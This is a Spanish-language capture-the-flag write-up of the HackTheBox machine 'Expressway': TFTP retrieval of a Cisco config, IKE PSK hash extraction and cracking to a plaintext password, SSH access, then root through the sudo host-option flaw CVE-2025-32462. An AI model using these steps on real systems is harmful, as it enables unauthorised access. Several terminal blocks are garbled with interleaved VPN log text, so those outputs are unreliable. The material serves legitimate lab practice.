

Expressway

HackTheBox — Writeup

Sistema Operativo	Linux
Dificultad	Easy
Fecha	24 de septiembre de 2026
Autor	sunwhite

Índice

1. Reconocimiento	2
1.1. Escaneo de puertos	2
2. Acceso Inicial	4
3. Escalada de Privilegios	5
4. Referencias	6

1. Reconocimiento

1.1. Escaneo de puertos

El escaneo de puertos con -sS revela solamente un puerto para ssh:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-18 10:01 CST
Nmap scan report for 10.129.238.52
Host is up (0.21s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Sin embargo si escaneamos por UDP con -sU se revelan más puertos:

```
~/HTB/Expressway SIGSTP(20) 13s > sudo nmap -sU --top-port=20 10.129.238.52
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-18 10:53 CST
Nmap scan report for 10.129.238.52
Host is up (0.13s latency):
PORT      STATE SERVICE
53/udp    closed  domain
67/udp    closed  dhcp
68/udp    open|filtered dhcp
69/udp    open|filtered tftp
123/udp   closed  ntp
135/udp   closed  msrpc
137/udp   open|filtered netbios-ns
138/udp   closed  netbios-dgm
139/udp   closed  netbios-ssn
161/udp   closed  snmp
162/udp   closed  snmptrap
445/udp   closed  microsoft-ds
500/udp   open  isakmp
514/udp   closed  syslog
520/udp   closed  route
631/udp   closed  ipp
1434/udp  closed  ms-sql-m
1900/udp  closed  upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 13.95 seconds
```

Hay muchos puertos que llaman la atención. DHCP tanto para cliente como servidor, TFTP, NTP, SNMP, isakmp y SNMPTRAP. Son puertos bien conocidos que nos indican que probablemente este sea un servidor que se usa en red para varios servicios. Todos estos servicios son bien conocidos, sin embargo el que nos llama la atención es TFTP, debido a que se sabe que es inseguro en general, no requiere autenticación y puede almacenar archivos importantes. Podemos enumerar el servicio con nmap:

```
~/HTB/Expressway 1 > sudo nmap -sU -p 69 10.129.238.52 --script=tftp-enum.nse
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-18 10:58 CST
Nmap scan report for 10.129.238.52
Host is up (0.093s latency).
PORT      STATE SERVICE
69/udp    open  tftp
tftp-enum: 69: 21 -- Certificate has EKU (str) TLS Web Client Authentication, expect
| tftp-enum: 69: 21 -- Certificate has EKU (oid) 1.3.6.1.5.5.7.3.2, expects TLS Web Se
| CiscoTr:cfg 21 -- Certificate has EKU (str) TLS Web Server Authentication, expect
2026-09-18 10:56:21 VERIFY ECU OK
Nmap done: 1 IP address (1 host up) scanned in 61.08 seconds
```

Hay un archivo llamado `ciscortr.cfg`. Podemos usar el cliente `tftp` en nuestra máquina para conectarnos y obtener el archivo.

```

~/HTB/Expressway:1m 1so>tftp 10.129.238.52 69-f
tftp>get ciscortr!cfg VERIFY OK: depth=2, C=GR, O=
tftp>^Z18 10:56:21 VERIFY OK: depth=1, C=GR, O=
zsh:-suspended56tftpV10.129.238.52 69
2026-09-18 10:56:21 Validating certificate exten
~/HTB/Expressway:SIGTSTP(20)f20st> lss ECU (str)
❌ ciscortr.cfg56:21 ++ Certificate has ECU (oid)
2026-09-18 10:56:21 ++ Certificate has ECU (str)

```

Abriendo el archivo observamos que se trata de un archivo de configuración para un router Cisco, justo como lo indica el nombre. Esto confirma las sospechas de que el servidor se usa en una red para almacenar configuraciones y hostear servicios típicos SNMP, DHCP, NTP, etc.

En el archivo de configuración encontramos un nombre de dominio dentro de la configuración VPN IPSec del router.

```

1crypto isakmp client_configuration group rtr-remoteef:4
18 09:59:55 net_route_v6_add: dead:beef::/64 via :: dev
18 09key secret-passwordon Sequence Completed
18 09:59:55 Data Channel: cipher 'AES-256-CBC', auth 'SH
18 09dns 208.67.222.222 10, ping-restart 120
18 09:59:55 Protocol options: protocol-flags cc-exit tls
18 10domain expressway.htbth=2, C=GR, O=Hack The Box, OU
18 10:56:21 VERIFY OK: depth=1, C=GR, O=Hack The Box, OU
18 10pool2dynpoolY KU OK

```

También encontramos un nombre de usuario para acceder al router: `ike`

```

1! 09:59:55 net_route_v4_add: 10.10.110.0/24 via 10
18 09:59:55 add_route_ipv6(dead:beef::/64 -> dead:
1enable9password*****v6_add: dead:beef::/64 via :
18 09:59:55 Initialization Sequence Completed
1! 09:59:55 Data Channel: cipher 'AES-256-CBC', au
18 09:59:55 Timers: ping 10, ping-restart 120
1usernameike password*****: protocol-flags cc-ex

```

2. Acceso Inicial

Sabemos que es IPsec debido a la configuración IKE (Internet Key Exchange) el cual es un protocolo que se dedica a negociar las claves de forma segura para crear los túneles VPN entre las interfaces de una red. Hay una VPN presente en al menos una de las interfaces del router, por lo que podemos usar ike-scan para poder intentar extraer hashes.

```
~/HTB/Expressway > sudo ike-scan -M -A --pskcrack=k.hash 10.129.238.52
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52 Aggressive Mode Handshake returned
2026-09-18 HDR=(CKY-R=57284b31f037f50d) 10.10.10.1 dev: tunnel
2026-09-18 SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
2026-09-18 KeyExchange(128 bytes) got: next tunnel up
2026-09-18 Nonce(32 bytes) add: vs: add: dead peer? A: 31a7f64 dev: tunnel
2026-09-18 ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) 0 10.10.1 dev: (NULL) table: 0 metric: -1
2026-09-18 VID=09002689df6b712 (XAUTH) 10.129.0.0/16 via 10.10.10.1 dev: (NULL) table: 0 metric: -1
2026-09-18 VID=afcad71368a1fc96b8696fc77570100 (Dead Peer Detection v1.0) (NULL) table: 0 metric: -1
2026-09-18 Hash(20 bytes) route: vs: add: 10.10.10.0/24 via 10.10.10.1 dev: (NULL) table: 0 metric: -1
2026-09-18 10.10.10.1 got: route: vs: add: 10.10.10.0/24 via 10.10.10.1 dev: (NULL) table: 0 metric: -1
Ending ike-scan 1.9.5: 1 hosts scanned in 0.114 seconds (8.76 hosts/sec). 1 returned handshake; 0 returned notify
```

```
~/HTB/Expressway > cat k.hash
1 90b01536cb381de9bbb4dc4fdade5dc3f29b0971c723335f6d3bb97d90ae971c1238aba2b6e0aa2b2a88ff63a12d46091e91307726b3f4935a561d1a553b502db92c333af5bd7634beb8d:5c516660b87d061ae1475258341a4394bbfb0d1895fd5b19402213b3e42a41b2f2d9eba97132ceca01a19d9aa593ae67bdd579eba84d14f5cf5d31df94b5a980d442b47df4f18f1a7c3e44:57284b31f037f50d:9a40660589f7a51c:00000001000000010000000980101000403000024010100008001000580020400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800d3cb37ebad705cc269d0347bc59536e7d1aa260b229caba8e5dc83d1c1199:aea1178fa460a19d5b0f414283fa5ada43e77683:freakingrockstarontheroad
13fa013718110b1e0a053ec0245c6a0b10f-1d5cb370badff05cc20908347bc59536e7d1aa260b229caba8e5dc83d1c1199:aea1178fa460a19d5b0f414283fa5ada43e77683
```

Usando hashcat obtenemos la contraseña en texto claro:

```
96b01536cb381de9bbb4dc4fdade5dc3f29b0971c723335f6d3bb97d90ae971c1238aba2b6e0aa2b2a88ff63a12d46091e91307726b3f4935a561d1a553b502db92c333af5bd7634beb8d:5c516660b87d061ae1475258341a4394bbfb0d1895fd5b19402213b3e42a41b2f2d9eba97132ceca01a19d9aa593ae67bdd579eba84d14f5cf5d31df94b5a980d442b47df4f18f1a7c3e44:57284b31f037f50d:9a40660589f7a51c:00000001000000010000000980101000403000024010100008001000580020400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800d3cb37ebad705cc269d0347bc59536e7d1aa260b229caba8e5dc83d1c1199:aea1178fa460a19d5b0f414283fa5ada43e77683:freakingrockstarontheroad
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 5400 (IKE-PSK SHA1)
Hash.Target.....: 96b01536cb381de9bbb4dc4fdade5dc3f29b0971c723335f6d3..e77683
Time.Started....: Fri Sep 18 11:16:14 2026 (11 secs)
Time.Estimated...: Fri Sep 18 11:16:25 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 722.4 kH/s (1.55ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 8046080/14344385 (56.09%)
Rejected.....: 0/8046080 (0.00%)
Restore.Point....: 8043520/14344385 (56.07%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: fred5932 => frayjud
Hardware.Mon.#1..: Util: 38%
Started: Fri Sep 18 11:15:41 2026
Stopped: Fri Sep 18 11:16:27 2026
```

Usando el nombre de usuario ike en el dominio expressway.htb intentamos acceder con la contraseña obtenida y tenemos éxito:

```

~/HTB/Expressway 19s > ssh ike@expressway.htb 0 0/24 via 10.10.16.1 dev (NULL) table 0 metric -1
The authenticity of host 'expressway.htb (10.129.238.52)' can't be established. dev.tund
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3ylWFE4BS9rECyxSHdlLrfxRM8g.etric -1
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes per-id: 4, compression: 120
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
ike@expressway.htb's password:ptions: protocol=flags:cc=exit:tls=ekm:dyn=tls=cript
Last login: Wed Sep 17 12:19:40 BST 2025 from 10.10.14.64 on ssh-systems, CN=HTB VPN, Root Certificat
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64 1s
2025-09-18 10:56:21 VERIFY KU OK
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the hentication, expects TLS Web Serve
individual files in /usr/share/doc/*/copyright.) 1 3 0 1 5 5 7 3 2, expects TLS Web Server Authentica
2025-09-18 10:56:21 peer certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Serve
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law. depth=0 C=GB O=Hack The Box, OU=systems, CN=us-dedivip-2
Last login: Fri Sep 18 18:19:47 2026 from 10.10.17.165 level 3 TLS_AES_256_GCM_SHA384, peer certificate
ike@expressway:~$ █

```

3. Escalada de Privilegios

El usuario en el cual nos hemos loggeado no puede usar sudo con ningún comando pero sabemos que es la versión 1.9.17, listando con systemctl no hay nada interesante y no hay muchas interfaces de red. Con el comando id nos damos cuenta de que pertenecemos a un grupo llamado proxy. Buscamos en el sistema archivos a los cuales tengamos lectura con este grupo:

```

ike@expressway:~$ id
uid=1001(ike) gid=1001(ike) groups=1001(ike),13(proxy)
ike@expressway:~$ find / -type f -group proxy 2>/dev/null
/var/spool/squid/netdb.state
/var/log/squid/cache.log.2.gz
/var/log/squid/access.log.2.gz
/var/log/squid/cache.log.1
/var/log/squid/access.log.1
ike@expressway:~$ █

```

Nos encontramos con archivos log a los que tenemos lectura. Accediendo al archivo access.log.1.

Leyendo el archivo encontramos otro nombre de host disponible: offramp.expressway.htb

```

1753229688.902 0 0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-headers - HIER_NONE/- - text/html
1753229688.902 0 0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
1753229689.010 0 0 192.168.68.50 NONE_NONE/400 3896 OPTIONS / - HIER_NONE/- text/html dedivip-2 loading CA
1753229689.010 0 0 192.168.68.50 NONE_NONE/400 3896 XDGY / - HIER_NONE/- text/html

```

Buscando en internet nos encontramos con la vulnerabilidad CVE-2025-32462. Es una vulnerabilidad en sudo que permite ejecutar comandos como otro usuario que esté también disponible en el archivo sudoers. Esto es debido a un error de autorización cuando se usa la opción -h para listar que permisos tiene un usuario en otro equipo.

Si se hace `sudo -h <host><comando>` el comando será ejecutado. Podemos intentar listar los permisos que tiene el host que encontramos previamente.

```
ike@expressway:~$ sudo -h offramp.expressway.htb -l
Matching Defaults entries for ike on offramp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ike may run the following commands on offramp:
    (root) NOPASSWD: ALL
    (root) NOPASSWD: ALL
```

Puede correr todos los comandos. Si intentemos lanzar una consola con `sudo` se obtiene con privilegios `sudo`:

```
ike@expressway:/var/log/squid$ sudo -h offramp.expressway.htb bash
root@expressway:/var/log/squid# whoami EKV (str) TLS Web Server Aut
root-09-18 12:49:12 VERIFY EKV OK
root@expressway:/var/log/squid# id uid=0, C=GR, O=Hack The Box, OU=Sy
uid=0(root) gid=0(root) groups=0(root)LSv1.3, cipher TLSv1.3 TLS_AT
root@expressway:/var/log/squid#
```

4. Referencias

- <https://access.redhat.com/security/cve/cve-2025-32462>